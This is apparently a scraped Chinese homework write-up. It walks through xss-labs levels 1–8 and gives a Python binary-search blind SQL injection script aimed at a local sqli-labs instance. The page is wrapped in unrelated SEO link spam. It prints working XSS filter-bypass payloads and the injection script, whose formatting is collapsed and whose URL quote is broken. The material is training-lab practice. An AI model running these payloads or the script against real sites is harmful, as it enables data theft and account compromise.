当前位置: 首页 > wzjs >正文

政府网站如何管理系统推销网站

政府网站如何管理系统,推销网站,网站分类有哪些,制作网页设计软件列表代码一、作业要求 1、xss-labs 1~8关 2、python实现自动化sql布尔育注代码优化(二分查找) 二、操作过程 (一)xss-labs 1~8关 1、前期准备 (1)打开小皮面板,并启动Apache和MySQL (2)将 xss-labs…

一、作业要求

1、xss-labs 1~8关
2、python实现自动化sql布尔育注代码优化(二分查找)

二、操作过程

(一)xss-labs 1~8关

1、前期准备

(1)打开小皮面板,并启动Apache和MySQL

(2)将 xss-labs放到 phpstudy_pro 的 WWW 目录下

(3)访问连接:http://localhost/xss-labs/

2、level1

(1)漏洞:当我们更改name等于不同的值时,有不同的返回结果,因此在这里可能有xss漏洞

(2)解决方式:直接在name=test后面加入xss攻击语句

​<script>alert(1)</script>

3、level2

(1)漏洞:输入框的alue属性未过滤,但<h2>内容被转义

(2)解决方案:闭合value的双引导,利用未过滤的输入点注入脚本

①在搜索框输入​<script>alert()</script>查询不到

②查看源代码

可以看到输入的<script>alert()</script>在<input>标签的value中,需要">闭合,因此要在搜索框中输入

“><script>alert()</script>

4、level3

(1)漏洞:<和>被转义,但单引号未过滤

(2)解决思路

①先在搜索框中输入第二个关卡的代码,发现查询不到

②查看源代码

发现它将闭合的>给实体化了,所以导致语句没有执行成功 。可以采用onfocus事件进行绕过,则在搜索框中输入' οnfοcus='alert() 

'οnfοcus='alert()       //单引号闭合

5、level4

(1)漏洞:双引号闭合属性值

(2)解决思路:与第三关相同,使用onfocus事件实现绕过

①先在搜索框中输入第三个关卡的代码,发现查询不到

②查看源代码

可以采用onfocus事件进行绕过,则在搜索框中输入

1" onclick="alert(1)      //双引号闭合

6、level5

(1)漏洞:onclick和script被替换为o_nclick和scr_ipt

(2)解决思路

①利用之前关卡的代码,发现查询不到

②查看源代码

发现onclick和script被替换为o_nclick和scr_ipt,

③由于onclick和script都用不了,但是通过网页源码发现并没有过滤<>,所以可以用<a href="#">在a标签中,最重要的是href属性,这个属性可以实现一个链接到javascript

"><a href="javascript:alert(1)">点击</a>

 搜索后会跳出来一个点击,点一下就可以过关了!

7、level6

(1)在第五关的基础上,将href替换为hr_ef

(2)解决方案

①利用上一关卡的代码,发现查询不到

②查看源代码

通过源代码发现href被替换成了hr_ef,并且可以看出这个网页并没有限制大小写,所以可以采用转大写绕过。

"><a HREF="javascript:alert(1)">点击</a>

8、level7

(1)漏洞:输入的代码被过滤了

(2)解决思路

① 利用上一关卡的代码,发现查询不到

②查看源代码

③ 利用onfocus事件进行绕过发现on这个关键字被过滤

④通过测试可以看到都过滤了href,onfocus中的on。因为只过滤了on,则可以采用双写绕过。构造oonn,当过滤中间on时然后两边的字母重新重组为on实现绕过操作

"oonnfocus="alert(1)"     //双写绕过

9、level8 

(1)漏洞:href属性自动解码Unicode 

 (2)解决思路

①输入javascript:alert(1)

②查看源代码 

③对javascript:alert(1)进行编码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

④将编码输入搜索框后,点击下面的友情连接就完成关卡了

(二)python实现自动化sql布尔育注代码优化(二分查找)

1、代码

import requests
# 目标URL
url = "http://localhost/sqli-labs/Less-8/“
# 要推断的数据库信息(例如:数据库名)
database_name = ""
# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
def get_database_length():    # 推断数据库名的长度length = 0while True:length += 1payload = f"1' AND (SELECT length(database()) = {length}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return lengthif length > 50:  # 防止无限循环breakreturn 0
# 使用二分查找推断数据库名
def get_database_name(length):db_name = ""for i in range(1, length + 1):left, right = 0, len(charset) - 1while left <= right:mid = (left + right) // 2char = charset[mid]payload = f"1' AND (SELECT substring(database(), {i}, 1) >= '{char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:left = mid + 1else:right = mid - 1db_name += charset[right]return db_name
# 主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"数据库名长度: {length}")db_name = get_database_name(length)print(f"数据库名: {db_name}")else:print("无法确定数据库长度。")

2、输出结果

数据库名长度: 8
数据库名: security

完成

http://www.dtcms.com/wzjs/267641.html

相关文章:

  • 网站建设公司专业今日热点头条新闻
  • 公司建设网站的优势网站外部优化的4大重点
  • 校园网站建设材料快速学电脑培训班
  • 怎么打开自己做的网站今日新闻联播主要内容摘抄
  • 网站开头flash怎么做竞价托管多少钱一个月
  • 微软网站怎么做的正规赚佣金的平台
  • 常见行业门户网站站长工具视频
  • 余姚网站定制电子商务网站有哪些?
  • 视频网站后台管理系统深圳新闻最新事件
  • 在家做十字绣兼职网站营销网站案例
  • git做网站根目录百度联盟广告点击一次收益
  • 影视网站怎么做优化广州网页seo排名
  • 盐城网站制作什么是营销型网站?
  • 金坛网站建设价格百度推广入口登录
  • 白小姐生肖做特网站当前疫情十大热点
  • 湖南网站建设的公司东莞网站seo优化托管
  • 临桂建设局网站站内优化
  • 企业网站开发平台单页网站seo优化
  • 网站建设伍金手指下拉3网络整合营销案例
  • 小程序微信开发seo优化网站
  • 做的好的农产品网站有哪些视频剪辑培训机构哪个好
  • 1做网站网站建设首页
  • 张掖作风建设年网站免费的网站软件
  • 苏州做网站的公司有哪些模板下载网站
  • 临沧市网站建设制作一个网站的全过程
  • 网站建设具备知识技能百度人工服务24小时
  • 做网站用的字体seo深圳培训班
  • wordpress如何网址大全网站上不去首页seo要怎么办
  • 西宁市城东区住房和建设局网站搜索引擎营销优化
  • 美食网站建设的意义网络营销的四大特点